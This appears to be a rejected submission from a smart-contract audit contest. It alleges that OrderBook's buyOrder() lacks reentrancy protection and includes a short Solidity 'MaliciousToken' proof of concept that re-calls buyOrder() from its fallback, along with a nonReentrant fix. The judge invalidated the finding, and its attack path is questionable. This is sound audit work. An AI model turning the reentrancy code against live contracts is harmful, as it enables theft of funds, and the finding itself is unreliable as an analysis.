OrderBook

First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Lack of Reentrancy Protection

Description

The buyOrder() function do the following operations:

  1. Transfers USDC from buyer to protocol and seller

  2. Transfers the sold token to the buyer

These are multiple external token transfers that interact with untrusted user-controlled addresses, but the function lacks a nonReentrant modifier.

@> function buyOrder(...) externallacks any reentrancy guard and executes external token calls mid-function.


Risk


Likelihood:

  • Reentrancy may be triggered by a malicious token contract using a receive() or fallback() function.

  • This would happen during token transfers, especially if the state is updated after or during external calls.


Impact:

  • Double-purchase of the same order

  • Theft of funds via recursive execution

  • Inconsistent state in orders or orderFills mappings


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IOrderBook {
function buyOrder(uint256 orderId, uint256 amount) external;
}
contract MaliciousToken {
IOrderBook public orderBook;
uint256 public attackCount;
bool internal attacking;
constructor(address _orderBook) {
orderBook = IOrderBook(_orderBook);
}
// Simulate a user initiating the attack
function initiateAttack() external {
attackCount = 0;
attacking = true;
orderBook.buyOrder(1, 1); // Target a valid order
attacking = false;
}
// Simulate fallback during malicious reentrancy
fallback() external payable {
if (attacking && attackCount < 2) {
attackCount++;
orderBook.buyOrder(1, 1); // Reentrant call
}
}
}
  • MaliciousToken simulates a malicious actor. It initiates the attack by calling buyOrder().

    During the external call (like token transfer), the fallback function is triggered. The fallback re-calls buyOrder() recursively before the first call finalizes. Without nonReentrant, this can exploit state inconsistencies or double spending.

Recommended Mitigation

  • Add a reentrancy guard modifier to key functions like buyOrder.

    // Add reentrancy protection
    bool internal locked;
    modifier nonReentrant() {
    require(!locked, "Reentrant call");
    locked = true;
    _;
    locked = false;
    }

    Apply the modifier to functions like:

    function buyOrder(...) external nonReentrant { ... }

Or you might import and apply ReentrancyGuard from OpenZeppelin

- remove this code
function buyOrder(...) external {
+ add this code
function buyOrder(...) external nonReentrant {
+ add this code
// Add modifier
modifier nonReentrant() {
require(!locked, "Reentrant call");
locked = true;
_;
locked = false;
}
bool private locked;
Updates

Lead Judging Commences

yeahchibyke Lead Judge
about 2 months ago
yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.